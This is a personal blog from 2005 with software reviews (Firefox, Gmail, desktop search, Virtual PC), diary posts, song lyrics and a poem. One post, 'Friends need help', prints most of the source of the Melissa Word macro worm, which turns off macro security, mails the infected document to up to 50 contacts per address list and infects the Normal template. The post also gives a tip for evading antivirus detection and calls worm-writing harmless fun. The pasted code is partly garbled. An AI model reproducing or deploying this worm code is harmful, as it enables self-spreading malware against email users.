Dec 5, 2005

Firefox and Gmail, the best combination ever...

It is almost a long time since i started using Gmail and Firefox, without knowing that PCWorld has ranked them as respectively #1 and #2 products of the year. The cute feature that both of these highly celebrated products share is their speed and ease of use. Firefox is, in my opinion, faster than opera 8.5, thus the fastest browser available today. In a simple test on the same connection line, the same BBC news web page took 1.5 second in Firefox and almost 10 seconds in IE 6.0 to be rendered into view.

Although i haven't touched IE 6.0 anymore after i downloaded Firefox into my computer, i have to confess the there are minor problems with Firefox (that can be fixed definitely in a near future) which might keep the minor citizen away from it; the major thing i struggle about sometimes is that opening numerous pages each containing flash movies into separate tabs will extremely slow down my computer. This makes the CPU to run at 100 percent and even Firefox itself is not capable of handling the case, and switching between the tabs becomes a nightmare.
Overall, I believe that Firefox has a better chance to exist than Opera and IE, and in a few years it will replace both of them.

The second product of the year is Gmail from Google. If you are a not a "Gmem" (gmail member), then i have to warn you that you are wasting your time and money playing with any other e-mail product. I can hardly say that Gmail has the most advanced client script, which is the key to its fast performance. It actually acts like a client software in your web browser. It is as fast as Outlook Express, and supports pop-up menus that will help you reduce your typing and the overall time you spend on mail browsing. Unlike Yahoo! and Hotmail, Gmail has only small text adds related to the content of your messages that will never waste your connection speed. It has an "Auto Save" feature which will automatically save your incomplete messages while you are working on them (like what MS word does with your .doc files.) And the spell checking is much more mature than any other web based e-mail product. The free space is 2.5 GBs, and is increasing everyday, so that you will never need to delete any messages. Its spam guard is very powerful, and with gmail you will hardly find spams in your inbox.
There are also other features, like its free Outlook Express support, the ability to star your message and also many other things that make Gmail
absolutely the best email product on the planet.

And if you get the chance to try Gmail in FireFox, you will be one of the luckiest people on the earth!

Oct 27, 2005

Need Gmail Invitation?

I have 80 or sth gmail invitations left and don't know how to spend them all! If you need one, just leave a comment here with your e-mail address. I will send you 1 as soon as possible.

Oct 9, 2005

First Day on the job

The experience of first days is always a mixture of pain and pleasure, esp. if it takes you 2:30 hours to get to the working place. Wow, 2 hours + 2 hours = 4 hours, each day, I spend only traveling. Just imagine, I spend 30 * 4 = 120 hours each month doing nothing...
But I gotto move this corpse on...

Copernic is still the best

For sure, I can't call it the perfect desktop search, but among all those stuff out there that I have tested for more than one month, this is still the most complete one.
Let us be honest; When we download a desktop search, we do it because we want it to find out one missing file among millions of others. However, many of those companies out there give you sth with all those bells and whistles that doesn't fulfill its actual purposem although it does other things. Consider "Google Desktop 2"; it comes in a complete suit of miscellaneous widgets, a slide bar, a search and indexing engine, and many add-ins. Among all these I have found the searching software the worst. It is very primitive and really lags behind modern desktop search software with rich GUI like copernic or Yahoo! desktop search. It also requires you to hack its registry to change its index folder. I have also found it very slow in deleting files-that were removed or delete on my computer-from its index. The only good thing is that you will always have a cashed image of your visited web pages.
And then MSN desktop. It is almost worst than GDS, and you have to sacrifice you system stability in return for a software package that scatters itself all over your OS like a malicious spyware.
And finally we get to copernic. It is still there in the system tray, for 3 months, silently working on itself, and comes into play only when I need it. It doesn't consume 50 MBs of RAM for a useless sidebar. It doesn't make any wide changes to my Operating System and never adds itself to my system's applications.
And it is still the best among all those giant rivals out there.

Oct 7, 2005

FireFox support

This Blog has "RSS" live bookmaking feedback.
If you have fireFox, you can create a tab button to get the latest headlines from this blog.

Aug 21, 2005

Aug 19, 2005

Desktop Search Engines - A way to improve your productivity.

As your data and files grow larger each day on your computer's hard disk, you might struggle more and more  for finding something or some text file you have just forgot the location within the past few wreaks. The natural thing is to do a Windows search (if using windows) and then going though hundreds to thousands of files and folder for finding a single word which might be also wrong.
This is the time when Desktop Search Engines come into play. And what do they do?
Well, you might have noticed how fast web search engines like Google or M$N are. Just after typing the search query and clinking search, you are provided with hundreds of search results. Now, being lucky, the same thing has also happened for your personal PC.
All you have to do is to types a word, and in less than a second these cool search engines give you all the possible results from the thousands of files on your hard drive.
You can choose among Google, Yahoo, Msn, X1 or Copernic applications. Each give you specific functionality with its benefits and bad sides. Among these, Google is the worst in UI and the simplest and smallest. Yahoo has a heavy UI and returns more search results that Google does with the same search key words. M$N is heavily loaded with stuffs from M$, and in exchange of losing your private desktop with toolbars and other ....s from Micro$oft, it gives you a native Windows search UI.
I have tried all these three that i mentioned.
-To be hones, the M$ product really su'kd on my Win XP SP2. It is from Microsoft, but is the least compatible among all the others with Windows XP!
-Google makes you feel as if you're searching through its website for web contents. I know their idea is simplicity for the best performance on the web, but bringing the entire primitive Google look to desktop is the silliest thing Google could ever do. So i don like it!
-Yahoo has done a nice job of UI and performance in a beta release. But it is still a beta, and can have unknown bugs. As i tried it, i loved it much more than Google and M$N. It does everything in its own window and finds more results that you will ever find with the first two applications.
-X1 is a 15 days trial software. I didn't try it but have read a great deal about its virtues.
-And finally, i downloaded Copernic, the lightest and almost the best; both in performance and UI. It is also the most flexible one. The indexing is lightning fast and the search results are really convenient.
On my hard disk i have almost more than a million files that i use my brain and windows built-in search previously to find a target document. But now, searching among this number of files take less than a second for me, thanks to the highly tuned and flexible searching capabilities of copernic.
If you have so many files like me, and now and then wonder where the things have gone, i recommend downloading and installing Copernic Desktop search as soon as possible. It really boost your productivity and our life!

Aug 17, 2005

Tip of the month

If you kill the time, time will kill you.
(i really loved this brief statement, though i am going to waste my time for the next two years...)

Aug 7, 2005

Inspired by Cosmo

Well, it seems to me such a tough decision to think and talk about measuring the universe. Using Big Bang and many of Einstein's theories, scientists have estimated the following as the width of the universe...
Realizing that it is almost 14 billion years after the big bang and creation of the world (although no one knows this for sure), and the fact that light's speed is 300,000 kms/s, we will have the following as an estimated size of the Cosmo:
Each second light's travel * 3600 seconds in one hour * 24 hours a day * 365 days a year =
300,000 * 3600 * 24 * 365 = 9460800000000 or 94.6 * 10(11) kilometers
So! This big number : 94.6 * 10(p11) is only the distance in kilometers that light travels in one year. Now, you must multiply this with the 14 billion years to find the final result:
[946 * 10(11) ] * [14 * 10(9) ] = 132451200000000000000000 Kms = 132451200000000000000000000 meters or 13.2 * 10(25) meters
Yeah! Such a huge number.
Of course our small minds will never have enough RAM or CPU power to process and understand this big number. But remember, this number is only the size of our universe according to the latest discoveries of Hubble and other powerful telescopes in finding the most distant galaxies in the world by trapping the weakest light rays coming towards us from the depth of our universe. This might also change when in 2012 another big telescope ships and replaces Hubble for good.
So, this is all we know people! We live in such a vast universe and rarely look at the sky to even watch it...And being drowned in our everyday life...bearing the mistakes and traditions of our ancestors in the way we live...struggling over nothing...
The size of our milky way:
ok...lets figure this out. The size of a small dot on a paper is around 1 millimeter. ok. Lets imagine you have put this simple dot (full-stop) in the middle of page in your note book ( and assume it is our sun in there), and that you live in London. Now, you get up and leave this dot, and after traveling almost 94,608 Kms you find yourself in Japan. Ok. How far have you come? If you put another dot in your note book while resting in a Hotel room in Tokyo, the distance between these two dot, which are our small stars on paper, one located in London and the other in Tokyo, will only fill 1/100000000000000 of the total Milky way! Wow! Just image how big the milky way is. Now, you travel to the moon. You put a dot on a rock while earth in front of you and London is just towards you. You have so far come to almost  1/25000000000000 of the total milky way! Just go on...with the small dot in you note book in London on the earth and you going through our solar system, trying to get out of your compressed milky way! It take one year more for you in this compressed world to get out of the milky way....
Just again imagine how big the world is.... Our milky way just one galaxy among the other estimated 100 billion galaxies....and you still can't understand what this one can grasp one

Aug 5, 2005


Turn the speakers on!

Here is one of my favorite black songs, rapped by "Too $hort"
In Radio Los Santos:
Talking bout the ghetto...funky funky ghetto
Trying to survive, trying to stay alive
The ghetto
The ghetto
(Talking bout the ghetto)
The ghetto
The ghetto
(Funk funky ghetto)
Even though the streets are bumpy, lights burned out
Dope fiends die with a pipe in their mouths
Old school buddies not doing it right
Every day it's the same
And it's the same every night
I wouldn't shoot you bro but I'd shoot that fool
If he played me close and tried to test my cool
Every day I wonder just how I'll die
Only thing I know is how to survive
There's only one rule in the real world
And that's to take care of you, only you and yours
Keep dealing with the hard times day after day
Might deal me some dope but then crime don't pay
Black man tried to break into my house again
Thought he got off early doing time in the pen
Even though my brothers do me just like that
I get a lot of love so I'm giving it back to the...
So just peep the game and don't call it crap
Cause to me, life is one hard rap
Even though my sister smoked crack cocaine
She was nine months pregnant, ain't nothing changed
600 million on a football team
And her baby dies just like a dope fiend
The story I tell is so incomplete
Five kids in the house and no food to eat
Don't look at me and don't ask me why
Mama's next door getting high
Even though she's got five mouths to feed
She's rather spend her money on a H-I-T
I always tell the truth about things like this
I wonder if the mayor overlooked that list
Instead of adding to the task force send some help
Waiting on him I'd better help myself
Housing Authority and the O.P.D.
All these guns just to handle me in the...
Even though they put us down and call us animals
We make real big banks and buy brand new clothes
Drive fancy cars make love to stars
Never really saying just who we are
We use alias names like TOO $HORT
Sell you stuff you might kill for
Young kids grow up and that's all they know
Didn't teach him in school now he's slangin dope
Only thing he knows is how to survive
But will he kill another brother before he dies?
In the ghetto, you keep one eye open
All day long, just hoping and hoping
You can pay your bills and not drink too much
Then the problems of life you'll be throwing up
Like me, but you don't see
Ten years from now, where will you be?
So much game in a Too $hort rap
Blacks can't be white and whites can't be black
Why you wanna act like someone else?
All you gotta do is just be yourself
We're all the same color underneath
Short Dog's in the house you'd better listen to me
Never be ashamed of what you are
Proud to be black stand tall at heart
Even though some people give you no respect
Be intelligent, when you put em in check
Cause when you're ignorant, you get treated that way
And when they throw you in jail you got nothing to say
So if you don't listen it's not my fault
I'll be getting paid while you'll be paying the cost
Sitting in the jailhouse running your mouth
While me and my peoples try to get out

Aug 4, 2005


you know, i do potery only once a year, and i think this was my last poem ever written. I myself dont believe in poerty or such airy stuff anymore, but only for the fun of being here...




A Lover’s Eyes


Sparks and Harps, then pulses,
Lights on, it blinks,

Of Shadows

And Plays,


Even fatter, hopes
Into dust,
Dancing Grains


Of fairy Fields,
Breathing Host
Of Daffodils,
And Meadows,
Fills the Skies
The Ghost of air,

The Germ that cries,

(It’s everywhere,)

Salty Water,
A Lover’s Eyes.




Herr Lucifer

May, 2004

Virtual Cool !

Today looking into my PC i found a great empty space for the old lovely games and OSs. Poor thing my XP doesn't have any backward compatibility with the older OSs. Thats why i looked for a solution and found one! It the virtual PC man! Damn awesome stuff from M$.
Virtual PC emulates a totally independent PC in a software implementation, allowing to safely test, install, reinstall, debug and evaluates different software and operating systems. You can have up to 11 different Operating systems in each Virtual Machine created by he virtual PC's wizard. Each virtual machine (VM) has its own set of hardware and drivers, fooling the installed operating systems to believe they are running inside a real PC!
They are plenty of uses for this cool software. For me, it means a cool way for cracking and hacking the kernel files of OSs to see how they work and what goes on inside them.
I can also install the beta versions of windows Vista and VS 2005 inside my virtual PC without sweating for the possible damages and threats that might occur to my real system and hardware.
My bro keeps his old games running inside the virtual Win98. He can also refresh his memory of many legacy games like Doom, Resident Evil 1, 2 - Super Mario - Final Fantasy...
I can also test my .Net and Native applications on different operating systems without actually shutting downs any real systems.
And much more to say about this cool software.
Just test it yourself

Jul 11, 2005

Poor little baby

The new baby was installed successfully after too much complaint about the current version of my OS. No way, it had to be done. I was in extreme need of such a cute software and upgrading my old one couldn't suffice.
Although it is many weeks after this new installation, the OS sometimes goes mad about the pile of memory that the new baby requires. It's way too slow sometimes, sometime after a cool restart it is fast, although overall its performance is good.

Jun 14, 2005

Flash MX 2004 - my work!

Best view in Flash player 7 (Have you installed it yet?)

Big companies steal ideas from each other!

While i am not an MS fan, i have to say that their are involved in a trade in which rules are sooo dirty (or cute?). It was a month ago that i was making fun of MS because of their FronPage2003. Up to last month, i had worked with both FrontPage XP and Macromedia DreamWeaver MX, and was fluent in using both of them for my purposes. However, some intellisense features i heard about FrontPage 2003 made me to give it a try too. You won't believe it thought, but nearly 80 percent of new features in FrontPage 2003 are taken from Macromedia's DreamWeaver MX. From new layout tools for creating easier tables and cells to new interactive buttons, all are taken directly or indirectly from DreamWeaver MX and introduce as "new" features in FP 2003. This fact made me to go mad about MS, struggling that it is a real big pirate in the software world of today that only thinks of expanding its big belly each day by swallowing small companies.
That true, i had a refresher of my Flash knowledge by installing Flash MX 2004 for building up a sexy website for a company. Well, i had done the right thing, and bingo! ActionScript now supports classes and interfaces and other OOP concepts, so i will use my .NET knowledge to jet through it. But, hey, wait: Macromedia has taken many of its language concepts from C# of Microsoft (Although they say that "Java" is that source). Just take a look at their new error handling features, class declarations and their half-grown intellisense (Which is not so intelligence in the case that it can be easily fooled by typing a simple "_mc." and viewing the hard-fixed code hint!), they are such a foolish implementation of ECMA. ActionScript 2 is way too slow to match C#, and Macromedia is in bad scripting support. I can certainly say that even VB6 had a better intellisense that what i see in ActionScript 2.0

Jun 8, 2005

OOP in ActionScript, OOP in VB, OOP everyWhere!

I have started scripting in flash again. This is actually a refresher of my previous skills with actionscript. However, there are great differences now in the way that i look at action script, mainly because i ve come from C# and VB.NET and C++ into a scripting language, which also happens to be (slightly) object oriented. I now make up flash movies with open eyes and really understand what this or that means. In the mean time i feel like getting a little far from my real being, a windows programmer, although learning other languages can't be a tough adventure in my way.
The important thing is that the whole world is going towards OOP. Nothing will remain procedural, except for weak and powerless scripting languages. Among all the new things happening, i wonder why JavaScript didn't go through the same procedure. It is still procedural. Maybe there are compatibility issues. Maybe browsers don't support OOP concepts for JavaScript in the time being...but this is something that will happen in a few years (Good thing, i don't dwell on JavaScript and might never).

Jun 1, 2005

Friends need help

Ok, many friends asked me for this famous "Melissa" baby. I decided to upload its code to my blog , so that everyone would know how simple it is to write a malicious worm.  It is all the person's intention that determines the behavior of a piece of code. I believe creating a bug free program is much more difficult than doing some dirty jobs like this. But hacking and programming, they are really fun, and why not give the people the opportunity to do virtual destruction instead of physical one? This is a nice psychological way for curing many maniacs in the universe. Let them hit the wall with their heads, nothing will really go wrong...
The following code is intended for educational purposes only. It is not a secret to be made know by me. You can find this source code in many legal websites on the Internet and many security books.
' ----- Save this as a file on your hard disk with the .vbs format. You anti virus will easily catch it the moment you save the file. So, you might use other extensions for saving this document.
Private Sub Document_Open()
On Error Resume Next
If System.PrivateProfileString("",
"HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") <>
"" Then
CommandBars("Macro").Controls("Security...").Enabled = False
"HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") =
CommandBars("Tools").Controls("Macro").Enabled = False
Options.ConfirmConversions = (1 - 1): Options.VirusProtection = (1 - 1):
Options.SaveNormalPrompt = (1 - 1)
End If
Dim UngaDasOutlook, DasMapiName, BreakUmOffASlice
Set UngaDasOutlook = CreateObject("Outlook.Application")
Set DasMapiName = UngaDasOutlook.GetNameSpace("MAPI")
If System.PrivateProfileString("",
"HKEY_CURRENT_USER\Software\Microsoft\Office\", "Melissa?") <> "... by
Kwyjibo" Then
If UngaDasOutlook = "Outlook" Then
DasMapiName.Logon "profile", "password"
For y = 1 To DasMapiName.AddressLists.Count
Set AddyBook = DasMapiName.AddressLists(y)
x = 1
Set BreakUmOffASlice = UngaDasOutlook.CreateItem(0)
For oo = 1 To AddyBook.AddressEntries.Count
Peep = AddyBook.AddressEntries(x)
BreakUmOffASlice.Recipients.Add Peep
x = x + 1
If x > 50 Then oo = AddyBook.AddressEntries.Count
Next oo
BreakUmOffASlice.Subject = "Important Message From " & Application.UserName
BreakUmOffASlice.Body = "Here is that document you asked for ...
don’t show anyone else ;-)"
BreakUmOffASlice.Attachments.Add ActiveDocument.FullName
Peep = ""
Next y
End If
"HKEY_CURRENT_USER\Software\Microsoft\Office\", "Melissa?") = "... by
End If

Set ADI1 = ActiveDocument.VBProject.VBComponents.Item(1)
Set NTI1 = NormalTemplate.VBProject.VBComponents.Item(1)
NTCL = NTI1.CodeModule.CountOfLines
ADCL = ADI1.CodeModule.CountOfLines
BGN = 2
If ADI1.Name <> "Melissa" Then
If ADCL > 0 Then ADI1.CodeModule.DeleteLines 1, ADCL
Set ToInfect = ADI1
ADI1.Name = "Melissa"
DoAD = True
End If
If NTI1.Name <> "Melissa" Then
If NTCL > 0 Then NTI1.CodeModule.DeleteLines 1, NTCL
Set ToInfect = NTI1
NTI1.Name = "Melissa"
DoNT = True
End If
If DoNT <> True And DoAD <> True Then GoTo CYA
If DoNT = True Then
Do While ADI1.CodeModule.Lines(1, 1) = ""
ADI1.CodeModule.DeleteLines 1
ToInfect.CodeModule.AddFromString ("Private Sub Document_Close()")
Do While ADI1.CodeModule.Lines(BGN, 1) <> ""
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
BGN = BGN + 1
End If
If DoAD = True Then
Do While NTI1.CodeModule.Lines(1, 1) = ""
NTI1.CodeModule.DeleteLines 1
ToInfect.CodeModule.AddFromString ("Private Sub Document_Open()")
Do While NTI1.CodeModule.Lines(BGN, 1) <> ""
ToInfect.CodeModule.InsertLines BGN, NTI1.CodeModule.Lines(BGN, 1)
BGN = BGN + 1
End If
If NTCL <> 0 And ADCL = 0 And (InStr(1, ActiveDocument.Name, "Document") =
False) Then
ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
ElseIf (InStr(1, ActiveDocument.Name, "Document") <> False) Then
ActiveDocument.Saved = True
End If

‘WORD/Melissa written by Kwyjibo
‘Works in both Word 2000 and Word 97
‘Worm? Macro Virus? Word 97 Virus? Word 2000 Virus? You Decide!
‘Word -> Email | Word 97 <—> Word 2000 ... it’s a new age!
If Day(Now) = Minute(Now) Then Selection.TypeText " Twenty-two points, plus
triple-word-score, plus fifty points for using all my letters. Game’s over.
I’m outta here."
End Sub   
'----------------------------------------- End of Melissa -----------------------------------

Night breaker - what a life

Its been almost three months after the graduation that i have slept late at night, digging and peeping into my computer unto break of dawn. Last night i broke the records. Slept around 5:10 AM. Gosh! when i put my head on the pillow, i could hear sparrows singing...the day was coming and i had just started my night... and wow... the next day i woke up at 12 AM, ate break fast at 12:45, ate lunch at 7 and no dinner? what a life, being alone and living on your own, you know no rules. When sth "is" to be done, then it must be done....
Hell, i haven't done any damn literature study in the last months....i getting too far from the world... it is all bear metal at my fingerprints and codes and codes......

May 27, 2005

no time for blogging - but i gotto think twice...

I have been so busy in the last years that couldn't think of do some serious blogging really...But many and many people are doing it, every day, ever hour...and why not me? Since i have no memo-book or autobiography written so far, i think this can be a good way to remember what i have gone through during the course of years and how i have evolved....

Now, May 2005, i am totally drowned in the 10101010100000101 world. One day i work on C#, the other on VB.NET, then some MIL, and late at night some assembly language and hacking activities... then C++, the diffing... Wow! i wish i could stop the time and could learn all this cool stuff in a shorter time...

Just yesterday i was dreaming like:

mov eax, 00
mov ebx, 22
mul eax, ebx
pop ebx
div eax, 34
ha! i got no time for more